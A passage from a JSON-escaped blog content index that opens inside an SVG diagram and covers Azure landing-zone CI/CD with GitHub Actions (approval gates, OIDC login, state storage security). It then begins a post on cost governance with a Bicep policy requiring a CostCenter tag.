style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='324' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='436' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='548' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='660' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='772' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='164' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='324' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='436' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='548' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='660' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='772' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='260' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='324' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='372' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='436' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='484' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='548' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='596' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='708' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='772' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='164' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='260' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='324' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='372' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='436' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='484' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='548' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='596' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='660' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='708' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='772' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='164' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='260' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='324' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='372' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='436' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='484' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='548' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='596' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='660' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='708' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='212' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='260' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='324' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='372' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='436' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='484' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='548' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='596' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='660' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='708' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='772' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='164' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='324' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='372' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='484' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='548' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='596' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='660' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='708' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='772' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='164' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='260' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='372' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='436' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='484' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='548' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='596' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='660' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='708' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='772' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='164' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='212' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='260' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='324' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='372' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='436' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='484' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='548' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='596' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='660' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='708' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='772' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003e\u0026gt;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='164' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='212' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='324' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='372' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='436' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='548' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='596' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='660' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='772' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='164' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='324' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='436' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='548' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='660' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='772' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='212' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='324' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='548' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='660' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='324' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='436' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='660' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='772' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='68' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='324' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='436' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='548' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='772' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='324' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='548' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='772' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='324' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='436' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='548' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='772' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='436' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='548' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='772' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='212' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='548' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='772' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='68' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='212' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='548' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='772' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='212' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='548' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='548' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='548' fill='currentColor' style='font-size:1em'\u003e|\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eNotes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eLayered Deployment\u003c/strong\u003e prevents dependency cycles and ensures a logical build order.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eManual Gates\u003c/strong\u003e (Environment approvals) provide human oversight before changes are applied to production infrastructure.\u003c/li\u003e\n\u003cli\u003eThe \u003cstrong\u003eSequential Flow\u003c/strong\u003e ensures that the management group hierarchy (Layer 0) is established before attempting to deploy networking or identity resources into those groups.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"deployment-execution\"\u003eDeployment Execution\u003c/h2\u003e\n\u003ch3 id=\"sequential-layers-and-gates\"\u003eSequential Layers and Gates\u003c/h3\u003e\n\u003cp\u003eLanding zone layers have hard dependencies. You cannot deploy networking before the management group hierarchy exists. Use \u003ccode\u003eenvironment\u003c/code\u003e gates to enforce human approval for production layers.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003edeploy-layer-1\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eneeds\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeploy-layer-0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ehub-prod\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Approval gate\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003euses\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eazure/login@v3\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# 2026 Stable\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ewith\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eclient-id\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ vars.AZURE_CLIENT_ID }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# ... OIDC login\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"state-security\"\u003eState Security\u003c/h3\u003e\n\u003cp\u003eStore Terraform state in an Azure Storage Account with:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSoft Delete\u003c/strong\u003e: Minimum 7-day retention.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVersioning\u003c/strong\u003e: Recovery from state corruption.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRBAC-only Access\u003c/strong\u003e: Disable Shared Key access to force the pipeline\u0026rsquo;s identity to use RBAC.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePin Action Versions\u003c/strong\u003e: Use \u003ccode\u003eazure/login@v3\u003c/code\u003e, not \u003ccode\u003e@latest\u003c/code\u003e, to prevent silent pipeline breakages.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConcurrency Groups\u003c/strong\u003e: Use GitHub\u0026rsquo;s \u003ccode\u003econcurrency\u003c/code\u003e feature to prevent parallel runs from corrupting the same state file.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSelf-hosted Runners\u003c/strong\u003e: Consider self-hosted runners if your state storage account requires Private Link connectivity for enhanced security.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure\"\u003eConfiguring OIDC in Azure (GitHub)\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://azure.github.io/Azure-Verified-Modules/\"\u003eAzure Verified Modules\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://azure.github.io/PSRule.Rules.Azure/\"\u003ePSRule for Azure\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eNext, move to \u003ca href=\"../azure-landing-zone-costs/\"\u003ePost 9: Azure Cost Governance: Tagging, Budgets, and FinOps\u003c/a\u003e. We will establish financial guardrails and automated cost reporting for your landing zone.\u003c/p\u003e\n","description":"Build a production-grade CI/CD pipeline for your Azure Landing Zone. Automate AVM module deployment using GitHub Actions with Terraform plans and Bicep previews.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-landing-zone-cicd/","title":"CI/CD for Azure Landing Zones: GitHub Actions \u0026 AVM"},{"content":"\u003cp\u003e\u0026ldquo;Unlimited scalability\u0026rdquo; is a selling point for developers and a liability for finance teams — unless the platform enforces guardrails before spend happens. Most organizations discover this mismatch via a surprise bill at month-end, followed by a scramble to identify who created the expensive resources.\u003c/p\u003e\n\u003cp\u003eIn an enterprise landing zone, cost governance cannot be reactive. If a resource lacks a required tag, ARM should reject the deployment. If a subscription approaches its budget ceiling, the platform team should know before it crosses. This guide implements the automated controls required to prevent cloud sprawl.\u003c/p\u003e\n\u003cp\u003eBy the end of this guide, you will:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImplement Deny policies to block untagged resource creation.\u003c/li\u003e\n\u003cli\u003eAutomate tag inheritance from Resource Groups using Modify policies.\u003c/li\u003e\n\u003cli\u003eDeploy subscription-level budgets with forecasted alerts as code.\u003c/li\u003e\n\u003cli\u003eConfigure FOCUS v1.3 cost exports for cross-cloud reporting.\u003c/li\u003e\n\u003cli\u003eQuery cost anomalies using KQL.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis is Post 9 in the \u003ca href=\"/series/azure-platform-engineering-build-an-enterprise-landing-zone-from-scratch/\"\u003eAzure Platform Engineering series\u003c/a\u003e.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"tagging-enforcement-the-foundation-of-accountability\"\u003eTagging Enforcement: The Foundation of Accountability\u003c/h2\u003e\n\u003cp\u003eEvery FinOps capability — chargeback, showback, and cost allocation — depends on tags. A resource without a \u003ccode\u003eCostCenter\u003c/code\u003e tag cannot be mapped to a business unit.\u003c/p\u003e\n\u003ch3 id=\"deny-policies-for-untagged-resources\"\u003eDeny Policies for Untagged Resources\u003c/h3\u003e\n\u003cp\u003eA Deny policy evaluates the request before the resource is created. The \u003ccode\u003emode: 'Indexed'\u003c/code\u003e setting is critical; it ensures the policy only evaluates resource types that support tags, avoiding errors on internal Azure resources like managed disks or NICs.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBicep: CostCenter Enforcement\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e requireCostCenter \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.Authorization/policyDefinitions@2021-06-01\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;require-costcenter-tag\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    displayName: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Require CostCenter tag\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    mode: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Indexed\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    policyRule: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e: { field: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;tags[\\\u0026#39;CostCenter\\\u0026#39;]\u0026#39;\u003c/span\u003e, exists: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;false\u0026#39;\u003c/span\u003e }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      then: { effect: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deny\u0026#39;\u003c/span\u003e }\n\u003c/span\u003e\u003c/span\u003e\u003cspan 